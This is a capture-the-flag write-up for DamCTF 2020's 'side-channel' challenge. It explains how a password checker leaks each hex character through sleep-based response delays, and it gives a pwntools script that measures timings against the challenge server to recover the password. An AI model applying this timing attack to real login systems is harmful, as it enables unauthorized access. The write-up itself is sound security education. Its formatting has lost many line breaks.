# misc/side-channel @ DamCTF Oct. 2020
## Description
> We built a super-secure password checker.> Can you guess what my password is?>> This challenge does NOT require brute forcing, you can get the flag with one> connection.
* challenge author: **Yeongjin Jang*** solves: **143*** points: **309**
## Analysis
We are given a python file that shows exactly what's happening behindthe scenes. We will take a look at the main parts of that file, but [here](https://gist.github.com/igotinfected/1f14bd846db8c38101fbd888b261f0a8) is the full source code.
### Password generation
```python# initialize passworddef init_password():    global password    global sample_password    # seems super secure, right?    password = "%08x" % secrets.randbits(32)    sample_password = "%08x" % secrets.randbits(32)```
32 random bits are generated, and they are formatted into an 8 digit hexadecimalformat.
### User guessing
```python# the function that matters..def guess_password(s):    ...    if user_guess != password[i]:        # we will punish the users for supplying wrong char..        time.sleep(0.3 * charactor_position_in_hex(password[i]))    ...
# convert hex char to a number# '0' = 0, 'f' = 15, '9' = 9...def charactor_position_in_hex(c):    string = "0123456789abcdef"    return string.find(c[0])```
The password guessing is done by looping over the password characters. The useris prompted for one character. If the guess is wrong, the user is punishedby some specific amount of sleep controlled by the real password character atthe given index.
Since we can measure the amount of time taken by the server to respond, andsince we know how much sleep corresponds to a specific character('0' -> 0.0, '1' -> 0.3, '2' -> 0.6, ...), we can guess the correct charactersafter every response.
### Solving
Since we are allowed to guess the full password twice, we can use the first passto find the correct password, and the second pass to enter the correct password.
My solution looks like this:
```python"""Solve program for "side-channel" challenge @ DamCTF October 2020."""import time
from pwn import log, remote
REMOTE = remote("chals.damctf.xyz", 30318)
def determine_character(time_taken) -> str:    """    Guess a character based on time taken for reply
    Example:      - if +/- 0.0 seconds -> '0'      - if +/- 0.3 seconds -> '1'      - if +/- 0.6 seconds -> '2'      - ...    """    chars = "0123456789abcdef"    return chars[int(time_taken * 10 / 3)]
def solve() -> None:    """    Solve function.    """    # skip to first trial    while not "Trial 1" in REMOTE.recvline().decode("latin-1"):        pass
    # skip first prompt    REMOTE.recvline()    password = ""    while True:        # send random guess        REMOTE.sendline("g")        # measure time taken for response        start = time.time()        received = REMOTE.recvline().decode("latin-1")        stop = time.time()        time_taken = stop - start
        # guess password log.info(f"Received answer: {received}") log.info(f"Time taken: {time_taken}")        password += determine_character(time_taken) log.info(f"Guessed password at this point: {password}")
        # check if first trial is done        if "Trial 2" in received:            break
    # skip first prompt    REMOTE.recvline()    for char in password:        REMOTE.sendline(char)        received = REMOTE.recvline().decode("latin-1")        if "Guess character" not in received: log.info(f"Done! Flag: {received}")
if __name__ == "__main__":    solve()```
One run of this solve script looks like this:
![solve.py](https://i.imgur.com/QyZRqrx.png)